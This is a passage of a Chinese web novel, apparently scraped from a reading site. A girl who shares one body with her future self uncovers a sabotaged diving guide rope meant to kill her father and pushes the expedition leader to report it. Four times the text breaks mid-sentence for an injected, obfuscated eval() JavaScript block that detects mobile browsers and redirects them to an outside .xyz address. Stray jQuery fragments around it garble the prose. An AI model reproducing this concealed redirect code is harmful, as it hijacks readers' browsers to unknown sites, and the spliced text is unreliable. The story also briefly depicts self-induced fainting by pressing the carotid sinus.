啊,太阳,你为什么那么亮,啊,麻雀,你为什么两条腿。 科考队一行人照例上山,今天要下水,每个人身上扛的东西都变多了。 大温背着氧气罐吭哧吭哧爬山,她总觉得计划出错了,应该让小温背上山后再换她出来,反正年轻人总有使不完的牛劲。 到达熟悉的溶洞口后,大温感觉好像看到了光,她放下两手提的设备,卸下氧气罐,感觉浑身都轻松了。 老温笑嘻嘻地凑过来:“哟,今天累了?” 大温喘着粗气嘴硬:“不、累!” 虽然用的是同一具身体,小温的体力明显比大温好一些。前世最后几年大温活得混乱,长年在外东奔西走,张贴寻人启事寻找秦女士的下落。 有时候夜里有人恶搞,给好不容易睡着的大温打电话,说看见秦女士了。 大温没办法,就算是恶搞也会去看看,万一是真的呢? 长期睡不好加上饮食不规律,大温的身体越来越差,好在她从小习武,本身底子好,最后糟践了那几年也只是把她的身体健康拉到大学生水平。 也不知道是不是那种疲惫感已经印在灵魂深处了,大温操控小温的身体时也很容易疲惫,好像用的还是自己的那具身体一样。 等缓过劲来,大温兜里的手机响了,打开一看果然是何景澄的消息。 自从加上好友后,他们每天都会闲聊,当然,平时都是小温和他聊。 何景澄发了一张照片,看起来是手机拍的,照片里和他头像一样的水鸟站在湖边,嘴里叼着一条罗非鱼,表情像在沉思。 【何景澄】:夜鹭,在进食●▽●。 不知为何,大温看着这条消息咯咯笑了老半天,感觉未来学神在某些时候很呆萌。 笑了一会,大温把那张夜鹭的照片放大,大到屏幕里只剩下夜鹭那只沉思状的眼睛,又咯咯笑了半天。 夜鹭被称为鸟中哈士奇不是没有道理的,这种鸟类不需要干什么,光是站在那里就会让人觉得好笑。 又笑了会,大温点出键盘飞快打字。 【大温】:哈哈哈哈哈! 【何景澄】: ̄▽ ̄ 大温世界里,她其实也有何景澄的好友,只是没聊超过十句。她现在感觉怪新奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904010|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,没想到何景澄聊天这么喜欢用表情包和颜文字。 大温点开收藏的表情,这两天小温从何景澄那里偷了不少表情包,大温看着这些表情包有点怀念又有点羞耻。 自从进入互联网时代,世界日新月异,表情包和网络流行梗一年一换,五年之后,五年前的梗就成古董了。 现在看到这些十年前的老古董梗图,大温想起了自己中二时期干过的事。 小学的时候互联网还不太普及,大温给自己取的网名都花里胡哨的,什么“冰雪公主”“_☆灬殇情”“搁浅记忆的忧慯”之类的,有时自己也不知道什么意思就用了,既幼稚又非主流。 好在大温现在是回到十年前,不是十五年前,十五岁的小温起码是个准高中生,没那么幼稚,有些事还能讲得通。 换成十岁调皮捣蛋的小温同学,大温说东她要往西,想想都感觉头疼。 大温一会儿闲逛,一会儿凑过去看科考队的成员摆弄那些设备,直到准备铺设引导绳时,大温瞅准了时机,凑到卢旗旗身边。 “旗旗姐旗旗姐,”大温指着地上的引导绳,悄悄对卢旗旗说,“我想试试帮你检查这个绳子。” 卢旗旗:“好啊,你检查完了叫我一下,我来看看你检查得如何。” 卢旗旗说完,去调试其他设备了,大温提着有点分量的引导绳,心中五味杂陈。 小小的一根绳子,竟然决定了一个人的生死。 大温没有耽搁太久,她凭感觉摸索着,很快便找到了前世绳索断裂的地方。 她仔仔细细摸了一遍,愣了一下,又摸了一遍。 没有? 没有任何磨损或断裂痕迹。 大温不信邪,又摸了一遍,结果还是没有。 为什么? 大温记得很清楚,绳子是在哪里断开的,可她现在在那一块地方看不见一点可能断开的痕迹。 卢旗旗检查完其他设备,扬声询问:“温流照,你检查完了吗?” 大温急了,她的背后在冒汗,卢旗旗已经走过来了。 卢旗旗:“还没好吗?交给我就行。” 大温低头抿唇,随后抬起头,露出一个十五岁少女应有的表情,她用有些天真地语气询问:“旗旗姐,我完全找不到有哪里有问题诶。” 卢旗旗接过绳索,语气柔和:“没有问题才好呀。” 卢旗旗一段一段地检查,先是检查外观,查看有没有磨损,再检查绳结和连接处,进行浮力测试,她一边检查一边和大温解释这是在检查什么,像一个教授孩子课外知识的老师。 “像这样快速摸一遍,”卢旗旗带着手套的手快速捋过绳索,“如果有硬结或毛躁就是不合格的。” 大温听得有些心不在焉,她一直在摸那块记忆中将会断裂的地方,因为担心是自己记错了,还在相邻位置摸了一遍。 没有。 不可能没有,不然老温是怎么死的? 难道…… 大温放下绳索,语气平静地问:“旗旗姐,有没有可能,有人使用某种手法破坏了绳索,这种破坏很隐蔽,甚至避开了检查?” 12. 少女的勇气 卢旗旗有一瞬间的怔愣,她很意外在一个孩子口中听到这样的问题,但她没有敷衍对待,而是认真思考了片刻。 “有这种可能。”卢旗旗摸着下巴思索,“不过嘛,这种事情很少很少的。” 大温:“我有点好奇,都有哪些隐蔽的手法?” 卢旗旗:“比较常见的大概是药物腐蚀吧,外表看不出来,不过需要的时间比较久,还有就是针刺。” 大温:“针刺?” 卢旗旗:“嗯,这是一种很麻烦的手法,操作难度很高,但是需要的时间比药物腐蚀短。如果下手的人手法足够厉害,确实有可能避开检查。” 大温像一个孩子一样发问:“那该怎么发现啊?” 卢旗旗:“不管是哪种手法,总会留下点痕迹,只是明不明显的问题。” 卢旗旗说着,抓起引导绳需要入水的那部分,想要给大温做个示范。大温不由自主抿紧唇,有些紧张,卢旗旗抓的那一段在断裂处的上端约二十厘米。 卢旗旗:“因为破坏点都很小,手摸可能摸不出来,所以可以借助一些简单的工具,比如找个直径五厘米的圆柱体,将绳索绕在上边,被细针破坏的部分会有异常僵硬。” 卢旗旗把绳索绕到小臂上:“现在没有合适的东西绕,可以绕在手上简单检查一下。” 大约绕了有三十厘米,卢旗旗把绕着绳索的小臂举起,示意大温注意看。 “正常的引导绳大概就是这样,可以贴着小臂……”卢旗旗说着在手腕上绕了最后一圈,突然,她愣住了。 卢旗旗的拇指和食指还捏着一段绳索,她将绳索往下按了按,又抬起,大温在她的脸上看到了不可置信的表情。 大温的心脏跳得很快,她按捺住翻涌的情绪,尽量用贴合一个十五岁少女的语气问道:“怎么了?” “我……我有点不太确定……”卢旗旗又仔细感受了一下那段绳索,虽然只有很微弱的一点点,但是在绕上手腕时,她确实感觉到了异样。 有一个地方有些僵硬,在正常摸过时感觉不出,只有在弯曲时才会感觉到。 卢旗旗神色紧张地环顾四周,她的同事们都在各自忙碌,一切看起来正常且井然有序。 卢旗旗正色道:“温流照,看好引导绳,不要让任何人再接触,我去拿些东西。” 说完,卢旗旗便起身走向装着很多小型设备的背包,大温垂眸看着那根长长的引导绳,直到现在她还有种不真实的感觉。 大温想到这些天和科考队成员们的相处,感到了深深的恐惧。 这些看似正常的人中,很可能藏着一个杀人犯,ta在谋害老温。这个人的手法很隐蔽,心理素质极强,以至于大温前世没有发现这个人的存在。 大温攥紧拳头,指甲深深潜入掌心。卢旗旗很快拿来了一个强光手电筒,她打开手电筒仔细查看,大约半分钟的时间,她放下手电筒。 大温低声问:“旗旗姐,是有人要害老温吗?” 卢旗旗看了眼面前的少女,少女的脸上是复杂的神色,她沉重地点头。 说实话,卢旗旗不太想让一个孩子知道这么沉重的事,但大温是老温的女儿,她有权知道。 卢旗旗攥紧了手中的引导绳,深吸口气,起身对着人群说道:“大家,今天的水下取样可能要取消了。” 扎着丸子头的年轻女人拿着一捆荧光黄色的绳索,站在树荫下。她的声音很大,没有下溶洞的所有人都听见了,纷纷向她看来。 斑驳的阳光落在卢旗旗的脸上,总是嬉皮笑脸的女人难得露出沉重的表情,一双双眼睛向她看来,她也一双双看了回去。 “怎么回事。”吕瀚博放下手中的水体样本,率先打破沉默。 卢旗旗其实很怕吕瀚博,但她还是回答了:“引导绳有人为破坏痕迹,现在初步判断是使用细针破坏了内部结构,凶手很可能就在我们之间。为了保障潜水员的安全,在找到凶手之前,我们不能继续下水。” 吕瀚博淡淡地看向站得笔直的女人:“卢旗旗,你知道我们出来科考需要多少经费吗?” 卢旗旗:“……知道。” 吕瀚博:“你知道我的时间有宝贵吗?” 卢旗旗:“……” 卢旗旗说不出话来,她是全队安全的守护者,于情于理她都必须阻止今天的潜水活动,但如果作为领队的吕瀚博坚持要下水,她……阻止不了。 “咋了这是?”一个有些散漫的声音从溶洞口传来,卢旗旗寻声望去,就见一个寸头男人站在洞口,一脸奇怪地看着溶洞外的所有人。 作为本次事件的主角,老温属于是姗姗来迟了,他一出声,大家的目光都落在他身上。 老温不解:“你们为什么要用看死人的目光看着我?” 吕瀚博没有看老温,他的神情平静,就像是什么都没发生一样,说:“更换引导绳,继续下水取样,不要耽误时间。” 没有人敢提出异议,老温敏锐地猜到出什么事了,他蹙眉,却也没出声。 吕瀚博不仅是研究水体的专家,还是个官多代,手握多条人脉,很多人都指望着在他面前赔笑脸混个眼熟,好顺利升职加薪。 因此没人敢出声,成年人的一大特点就是学会权衡利弊,对他们来说,站出来说话显然弊大于利。 在吕瀚博发言的同时,小温睁开了眼。 没错,不是大温,是小温。 在所有人注意力都在卢旗旗和吕瀚博身上的时候,大温用力按压颈动脉窦,强制身体陷入晕厥。此时醒来的小温脑子晕乎乎的,一时说不出话来。 小温的心脏跳得很快,第一次体验到大脑短暂失血又重新恢复供血的感觉,大腿上的肌肉一直在抽搐。 小温有些心悸,按压死穴是非常危险的行为,一个不小心就会出人命,大温真是疯了才会这么干。 不过很快小温就理解了大温为什么要这么冒险,记忆涌入脑中,眩晕感逐渐消失,小温从草地上站起来,她知道现在她有必须要做的事。 在夏日的蝉鸣声中,她踩着落叶枯枝,踩过野花野草,路过低垂着头的卢旗旗,路过屏住呼吸的石广洋,最终停在肃穆的老教授面前。 面对威严的老教授,少女的目光没有一丝畏惧,她清亮的眼睛看着眼前的男人。 “请停止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904011|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下水取样,立刻报案,谋杀未遂也是谋杀,不能忽视。”小温说。 一阵风吹过,头顶高大的树木被风吹动,发出树叶摩擦的沙沙声。吕瀚博在审视着眼前的少女,少女没有避开他的目光,她无畏而坦荡,好像做了一件再正常不过的小事。 “那个,我作为差点被害死的人说两句哈。”老温一手插兜,一手挠着脑袋,就这样吊儿郎当地走到了吕瀚博面前。 老温默默挡在小温身前,隔绝了吕瀚博的目光。 老温:“根据我国刑法的规定,发现凶杀未遂需要立即报警,不然要是让这个丧心病狂的凶手逃跑了,犯下更大的案子,所有知情不报者都将受到处罚。” 老温:“除此之外,明知有杀人犯藏于我们之间,还继续科考活动,你们不怕这个人对其他人下手?” 老温说完,回头看自己的同事们,在小温站出来的时候,又有人从溶洞底下爬上来了,现在整个科考队加上小温一共九人全部站在溶洞口前的树林间。 每个人脸上的表情都不同,老温一一看过去,有听了老温的话后开始警惕身边人的,有觉得自己啥也没干肯定不会被杀人犯盯上的,有一惊一乍不知所措的,当然,也有状况外不知道发生了什么的。 老温看了一圈,转回头,看着吕瀚博。 诚然,老温也很害怕招惹到吕瀚博,但如果一位父亲畏首畏尾,没有胆量站出来支持女儿的义举,那即便是升官发财仕途通达,也注定是个庸人。 是人生的庸人,也是权贵的佣人。 第一次,老温看向吕瀚博的眼睛里带着挑衅:“吕教授,您应该不想变成凶手的帮凶吧? 吕瀚博看着老温,他的表情没有变化,他就这样看着自己下属的眼睛,良久,终于开口了。 “卢旗旗,报警。” 人群寂静了会,随后爆发出一阵窃窃私语,老温如释重负,回头揽住了小温的肩膀。 老温笑着冲小温比了个大拇指:“干得漂亮,温流照同学。” 吕瀚博继续比对水体样本的分析数据,又沉浸在科研之中了,还是那副什么事情也没发生的样子。 过了一会,吕瀚博装若随意地开口:“温君,你有一个好女儿。” 小温愕然回头,吕瀚博说话时依然背对着他们,看不见表情。 老温也跟着回头,他同样很惊愕,吕瀚博的声音有些小,刚好只有老温和小温能听到。 人群三三两两地围住小温,他们的眼神里都带着赞许。 “很有胆识啊小姑娘,将来必成大才!” “果然是初生牛犊不怕虎,刚刚那一下给我心都提嗓子眼了。” “诶,小妹妹,你要不去我家好了,我来养你,我家房子老大了。” “丁天春你又在觊觎我女儿!你两个女儿了还不够吗?!”老温怒了。 “哈哈哈,别生气~别生气嘛~其实我家也蛮大的。” “钟鹏涛你凑什么热闹!”老温更怒了。 “不行,我只要老温。”小温从身后揽住老温的脖子,警惕地看着眼前的叔叔阿姨们。 她可没忘记这里边可能有凶手。 13. 暗流 大温独自坐在贝壳屋门前,看着淡蓝色的海水出神。 从系统那里得知切换灵魂的方法后,大温就研究过如何快速打晕自己。 不过,大温也是第一次这么干,她也很忐忑,在心里默默祈祷着自己没把小温弄死或者弄残。 祈祷的同时,大温也在整理现有的线索。 卢旗旗发现异常的那块地方,和大温记忆中的断点有偏差,往下大约十厘米,在进水的那一段里更加靠下。 大温认为自己没有记错,两根绳子的断点确实不同,那么这件事就很诡异了。 为什么在大温世界里,卢旗旗会把另一根引导绳交给她? 更详细地想,大温揣着那根绳子几年了,不可能分不出人为破坏和自然磨损的区别,她很确定拿到的那根引导绳没有异样,就是自然磨损的。 也就是说,有人中途调换了引导绳。 到底是怎么做到的?会有人神不知鬼不觉地在案发后调换引导绳吗? 是谁调换了引导绳?是卢旗旗吗? 不,这不太可能。 小温世界里,引导绳的异样还是卢旗旗发现的,如果她是凶手,这个举动无异于自掘坟墓。 大温对引导绳的了解没有卢旗旗这个专业人士深,她想隐瞒真的太容易了,但她没有。 还有一个疑点,吕瀚博的态度。 人命关天的事,这位老教授会拎不清权重,选择隐瞒不报吗? 又或者很干脆的,吕瀚博就是凶手,所以他不想报警。 但是他这样跳出来阻止实在太惹眼,太令人怀疑了,反倒降低了他是凶手的可能性。 凶手为了隐蔽自己,一定会尽量低调,降低存在感,出面阻止报警太张扬了,不像是心思如此缜密的凶手会做的事。 大温一手抱胸,一手摸着下巴。其实还有一件事让她比较在意,就是第一天的晚上,吕瀚博出门做什么了。 大温也不知道这件事和案子有没有关联,吕瀚博这个人确实有可疑之处,但无法认定他是凶手。 正思索时,兜里的手机响了,逆转空间登陆的账号只有小温一共好友,大温赶忙掏出来看。 【小温】:搞定了,正在去警局。 【大温】:我就知道你能行。 【小温】:不准再用那种方法切换了!难受死我了! 【大温】:我错了。 大温认错态度良好,还发了一个跪在棉垫上的表情包。 小温气鼓鼓地收起手机,其实她能知道大温为什么要冒险切换,让她出面。 这些日子的相处让她感觉到了她们之间的差异,大温和小温虽然是同一人,但由于处在不同时期,人生经历不同,性格也有细微的不同。 小温活泼可爱,有着少女特有的活力,看待事情直头直脑的,看人也是善恶分明,喜欢就是喜欢,讨厌就是讨厌。 大温则更加沉默内敛,有着成年人的暮气,会仔细思考一件事情利弊,做事容易瞻前顾后,看人没有明晰的善恶,面对讨厌的人也会虚与委蛇。 在吕瀚博出声的那一刻,大温知道自己无法站出来阻止,成年人总会考虑太多东西,以至于绊住自己的手脚。 所以大温才当机立断,把小温换出来。 知道归知道,该气的还是要气。 大温在逆转空间里的身体是她的自己的,这个神奇空间还原了她死前的样貌,小温曾在大温手腕上看到过淡粉色的疤痕。 大温委婉地和小温说过,自己有一段情绪低落时期,小温很容易就猜到了大温对自己做了什么。 小温气她不爱护自己身体,气她活得像没牵线的风筝。 当然,她最气的,还是造成这一切的凶手。 等找到这个人,她一定要暴揍ta一顿,不,两顿! 要把她和大温的份都打回来,要把这个穷凶极恶之徒送进监狱! 小温关掉手机,就见有人朝她扑来,她下意识以为是凶手狗急跳墙想杀她了,定睛一看才发现是卢旗旗。 “温流照——”卢旗旗冲过来一把抱住小温,她比小温矮一些,抱住小温时下巴搁在小温的肩膀上。 “你好厉害!我都不敢说话。”卢旗旗笑得很开心,她成功保护了一个家庭的完整,“警察马上就会过来调查取证,很快就能找到那个凶手了!” 小温看人一向凭直觉,此时她的直觉告诉她,卢旗旗是好人。 “旗旗姐,谢谢你。”卢旗旗放开小温时,小温看着她的眼睛很认真地说。 谢谢你是个好人。 最后找到针刺痕迹的是卢旗旗,如果不是她,大温可能真的找不到。 说起来,大温居然没有怀疑过这不是意外吗? 不过也挺正常,听大温说,最后警方做了详细地调查,并没有找到他杀痕迹。 普通市民所能相信的只有警方的调查报告,当证据被悉数罗列并指向同一个结果,那么就只有相信这个结果一种办法了。 大概是接连得知身边有两个亲人险些被谋杀,小温现在警惕心很强,看周围人的目光都带着提防,这种提防甚至蔓延到了还未出现的警察身上。 小温看了一圈,老温没什么受害人的自觉,正在仰头找知了,阳光穿过茂密的树叶之间,照在他脸上,照得他眯起了眼。 老温从来都是这样,没心没肺的好像啥事也不会放在心上,今天结了仇,明天就能称兄道弟。 很难想象会有人恨老温,恨到想杀了他。 小温蹲在地上,心里有些焦灼,等待警方到来需要一段时间,这段时间不算长,却难熬。 忽的,远处传来细微的警笛声,作为报案人的卢旗旗把三位警察带上山。 为首的一位是三十多岁的男人,身后跟着一男一女两位年轻警官,看起来是刚上任没多久的。 丁文文哭丧着脸跟在师父身后,他才入职没多久,都说县级警局很少凶杀案,最多抢劫斗殴,谁知道才来没多久就遇到了谋杀未遂案。 他旁边是同样入职没多久的许依然,与丁文文不同,许依然一副“嗯,来劲了”的表情,丁文文甚至还看到她撸起了袖子。 倒也不用这么干劲十足吧…… 丁文文站在师父身后,看着师父掏出自己的证件亮了亮。 “沛霖市乐宁县公安局刑侦大队队长,方承平。” 没办法,出警了就得干,丁文文在一旁观察着这九个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904012|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 八位成年人,一位孩子,高矮胖瘦各个年龄段的都有。接警时他大概了解了,这是一个科考队,年纪最大的男人是领队,年纪最小的女孩是来拓展课外知识的学生。 丁文文一个一个看过这些人的脸,从最左边起,站着那个最年轻的学生,她身侧是一位和她相貌有几分相似的中年男人。在他看他们父女的时候,女孩也在看着他,眼中带着提防。 丁文文快速把视线移开,总觉得再看那个女孩,她会冲上来问:你看什么看。 这些人的神色各异,没有人露出异常的表情。 非要说的话,只有个年轻男人看起来很紧张。 丁文文还在看那个年轻男人,方承平突然回头对他们说:“你们两个,拉警戒线,注意收集脚印和指纹。” 许依然干劲十足地提着她的小工具箱走了,丁文文也紧随其后,方承平还在询问报案人具体情况,问几句记一下关键点。 整个调查过程费时费力,直到小温下线,大温上线,他们一行人终于来到了乐宁县公安局。 包括大温在内的每个人都被单独询问了一遍,大温被问得早,结束得也早。她坐在公安局大厅的长椅上,心里很忐忑,不知道警方能不能查到凶手。 其他人陆陆续续出来,老温坐到了大温旁边,她那总是不着四六的老父亲此时异常正经,摸着她的脑袋宽慰道:“没事的,相信警察,能查明白的。” 最后一个出来的是吕瀚博,他的神情依旧没有变化,一副对除了科研之外的事情毫无兴趣的样子。 几分钟后,方承平从审讯室里走出来,两位徒弟紧随其后,他招招手,示意许依然和众人交代情况。 许依然:“警方的经过初步调查,现场没有发现可疑痕迹,暂时无法确定嫌疑人范围,各位可以先回住所等待后续通知。” 大温叹气,这个结果算是意料之内,凶手既然有这么高超的技巧,把绳索破坏得这么隐蔽,就说明ta是个很谨慎的人,没有那么快能查出来。 只是没想到连嫌疑人范围都没法确定,破案之日遥遥无期啊。 丁文文看着九人各自离开的身影,在脑子里整理目前已知的情报。 针对引导绳的调查显示,这根引导绳和原本计划使用的引导绳不是同一批次,即非同一根引导绳。 凶手是途中调换的绳子,目前调换时间有待进一步取证。 根据吕瀚博的证词,在第一日科考结束的夜晚,他在外出时曾看见过一个奇怪的黑衣人,只是他没在意。 假设吕瀚博说的是实话,再假设那黑衣人就是调换引导绳的凶手,那么调换的时间就是第一日科考结束的夜晚。 接下来应该想办法证实这一点,丁文文挠头,感觉有点难办。 此时城里的监控体系不算完整,乡下更不用说了,基本没有监控。 想调查那个黑衣人只能在村长家附近挨家挨户问,大晚上的,恐怕真没什么目击证人了。 思来想去,只能对存放引导绳的车后备箱进行更详细的调查了。 说起车后备箱…… “师父,”公安局大厅,方承平被丁文文叫住了,“你之前在后备箱里拿了什么东西?” 14. 谈心(一) 从小学起,丁文文就发现自己的观察力很强。 丁文文很喜欢观察别人的表情和动作,每一次,班级里有人小偷小摸偷了别人东西,他总是能通过一些细微的小表情发现端倪。 一开始丁文文很高兴,做正义的事情会被老师夸奖,会给父母脸上添光。 于是丁文文每次发现有人做坏事都会站出来指认,一次、两次、三次…… 有一次,丁文文发现班级里最孤僻的孩子同学身上有淤青,知道了那个同学在被欺负,和过往的每一次一样,他向老师举报了欺凌同学的人。 丁文文满心以为自己做了件好事,直到被霸凌的同学怨恨地看着他,问:“你为什么要告诉老师?都是因为你,他们以后会更加针对我!” “明明只要忍一下,忍一下就能过去,你为什么要告诉老师!” “都怪你!我被打得更惨了!都怪你!” 丁文文看着愤怒的同学,两手抓着校服裤子两侧的布料,茫然不知所措。 那时他才窥见人心的一角,知道不是所有看似正义的举动都是在帮助受害者,知道有些人并不希望得到这样的拯救,也知道了成长就是学会明哲保身,学会不多管闲事。 那之后,丁文文很少再管类似的事了,他长大了,长成了一个怕麻烦、每天只想躺平当咸鱼的大人。虽然应父母的期许成为了刑警,却没什么干劲,每天都不想出警。 没有干劲的小刑警丁文文今天意外做了件有干劲的事。 他直截了当地问:“师父,你到底是什么人?” 话说出口的瞬间,丁文文感觉自己好像回到了学生时代,回到了会因为指认作恶之人而高兴的时候。 他装聋作哑这么久,为什么在这一刻突然想要发声呢? 丁文文不知道,脑海中响起审讯室里,那个科考队中的女学生掷地有声的一句话:“如果那时我不发声,不如割破自己的喉咙就此闭嘴。” 丁文文抬眸看着那个高马尾的女学生,她坐着的时候背挺得很直,看人时坦荡没有躲闪。 听说原本他们的领队不想报警,想继续科考活动,是她站出来请求领队报警的。 如果这时他不发声,不如割破自己的喉咙就此闭嘴。 在丁文文问出口后,方承平的脚步顿住,久久没有回头。 丁文文想,自己可能从小到大都是一个德行,永远学不会明哲保身。 …… 大温和老温并肩走着,调查结果没有出来,现在他们都没什么事做。 走着走着路过一个公园,老温瞅见了一个卖冰沙的小摊,眼睛一亮,跑去买冰沙了。 大温坐在公园的长椅上,久违地打开手机。 先前太多事情了,都没有来得及看消息,此时才发现收到了这么多消息。 大温一条一条看过去,最上边的是秦女士中午发来的。 【秦女士】:监控安好了。 过了两小时,秦女士又发了一条。 【秦女士】:曲宏愿回来了,我把你说的事情和他提了。 曲宏愿就是花奶奶的孙子,计算机系大二学生,性格和曲叔叔比较像,话少。 大温和曲宏愿的关系不好不坏,属于是有事会帮忙,没事不会聊天的类型。 【大温】:谢谢妈妈!O(∩_∩)O 大温接着看下面一条,是何景澄发来的。 【何景澄】:路上捡到了一只受伤的红隼,送去公安局包扎伤口了。 下边附带了一张长得很像猫头鹰的小鸟照片,小鸟眼睛下有两道黑色的线,呆头呆脑地歪头看镜头,脚上包了白沙布,应该就是伤口了。 【大温】:好可爱啊! 消息刚发过去,何景澄就回复了。 【何景澄】:是猛禽哦,路上遇到最好不要贸然靠近。 【大温】:靠近会怎样? 大温好像不知道该说什么好,明知故问道。 【何景澄】:它吃肉的。 大温故作惊讶,发了个惊讶的表情包。 【何景澄】:发生什么事了吗? 时间有一瞬间的停滞,天已经完全黑了。 小公园里很多带着孩子出门兜风的家长,一个小女孩路过大温身前,拉着她妈妈的说央求:“妈妈,我想吃棉花糖~” 小女孩的声音软软的,母亲好声好气地哄她:“不能再吃了哦,再吃嘴巴里会长虫子的。 母女两越走越远,在这样的人来人往的环境里,大温看着聊天框出神。 她想起在她的时空里,有一次她发烧了,瞒着不说,想着小病而已撑一会就好。结果何景澄一眼看出了端倪,他赶紧让徐幼盈带她去校医室了。 好像不管哪个世界的何景澄都很敏锐,明明大温什么也没说,他还是感觉到了异样。 【大温】:我爸爸差点被人杀了。 另一头的何景澄沉默了很久,不知道是在震惊还是害怕。 【何景澄】:你在哪里? 【大温】:公安局附近的一个公园? 大温有点懵,不知道他问这个干什么。 她还握着手机,余光瞥见有人向她走来。 有一瞬间,大温觉得自己被小温影响了,脑中闪过很多偶像剧场景,失落的女主坐在路边淋雨,男主撑着伞走来;受困的女主绝望呼喊,男主英雄救美。 很俗套的情节,放在现在还容易被骂。 有那么一瞬间,大温以为真的会发生这么俗套的情节。 她抬起头,看清了来人。 老温奇怪问道:“温流照同学,你为什么要用失望的眼神看着你的老父亲?” 是老温啊…… 好吧,这很合理。 老温拿着两碗草莓口味的冰沙站在大温面前,大温盯着老温手里的冰沙。 大温:“草莓口味的冰沙吃腻了。” 老温:“啊,那你怎么不早说?” 大温:“我忘了。” 老温:“那我吃两碗?” 大温伸手:“不行,我也要吃。” 老温无奈,独占两份的计划泡汤了,他有些不情不愿地把其中一碗冰沙递给大温。 现在他坐在大温身边,父女俩一人端着一碗冰沙吃。 酸酸甜甜又冰冰凉凉的口感消去了身上的暑气,大温看着远处小广场上玩滑板的几个小少年,忽地开口。 “老温,为什么你知道自己差点被害死之后都没什么反应?” 老温叼着塑料勺子含混不清地说道:“我需要有什么反应吗?” 大温:“不需要吗?这可是超级重大的事情诶。” 老温:“很重大吗?” 大温:“当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904013|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然重大了!拜托!你要是真的被害死了,我和秦女士怎么办?” 老温:“唔……好像是有点不舍得呢。” 大温:“只是不舍得?” 老温:“对啊,不舍得。” 大温:“不是,那是你的感受,还有对我们的影响呢?” “影响?”老温放下端着冰沙碗的手,很认真地看着大温,“你是想说,如果我死了,你们会伤心到抑郁吗?” 大温本来想说“是啊”,可看到父亲严肃的表情,突然说不出话了。 总是嬉皮笑脸、吊儿郎当的老温此时正襟危坐,深棕色的眼睛直直看着大温。 老温问她:“温流照同学,你是那样软弱的人吗?” 大温:“我……” 她想说“我不是”,但又想到她上一世情绪低落的那段时间,反驳的话一下子说不出口了。 她可能……确实软弱了…… 大温低垂着脑袋,说不出话。突然,有只宽大的手按在她的头上。 老温揉了揉大温的脑袋:“你是我和秦女士教出来的孩子,我们授予你强大的心脏,赋予你直面恐惧的勇气,教会你宽以待人的善良。” “从小你就是个正直坚强的女孩,你坦荡而无畏,纯真且善良,这样的你,就算经历再多苦难,总能冲上去给命运一拳头的,对吧? 大温抬头看老温,嘴巴张了张,说了句题外话:“老温同志,你现在说话好像秦女士。” 秦女士是中文系的高材生,这么有文采的话,显然更像是秦女士会说的。 “咳咳!”老温别开头,“你的老父亲难得说出这么有文采的话,不要打断他啊!” 大温抱歉道:“好吧,您继续,我刚刚什么也没说。 老温舀了慢慢一大勺冰沙塞进嘴里,嘎巴嘎巴嚼着冰块。 老温:“都怪你,我现在不知道说什么了。” 大温无奈:“我的错,我的错。” 老温:“你还记得有一次你在学校打架被叫家长吗?” 大温仔细思索,疑惑询问:“哪一次啊?” 大温被叫家长太多次了,也不知道老温说哪一次。 老温噎住:“就最近的那次吧,你做了什么?” 大温思索,回答:“有个外校的高年级男生想追我同桌,堵在校门口等她放学,我同桌不敢出去,把我叫去帮忙,最后我出去给了他一拳。” 老温打了个响指:“然后你今天又做了什么?” 大温恍然间好像明白了老温想说什么:“我站出来要求吕教授立刻停止科考并报警。” 老温又打了个响指:“所以你发现了什么?” 大温:“我……我很……勇敢?” 大温说完自己都觉得有点不好意思了,老温“啪啪啪”鼓起掌,笑容温柔:“对咯。” “你很勇敢,温流照同学。”老温笑盈盈地看着大温,“你是个很勇敢的孩子,我和你妈妈都相信你不会被轻易打倒。” 老温:“当然,如果你真的被打倒了,我们也不会怪你,因为你一定已经尽力挣扎,尽力反抗了。” 在不算很亮的路灯的照耀下,大温看见了老温一贯轻松的笑容。 夏夜的风吹过,像是要吹走两世的烦恼,大温在这一刻想通了许多事情。 好像……没什么大不了的。 15. 谈心(二) 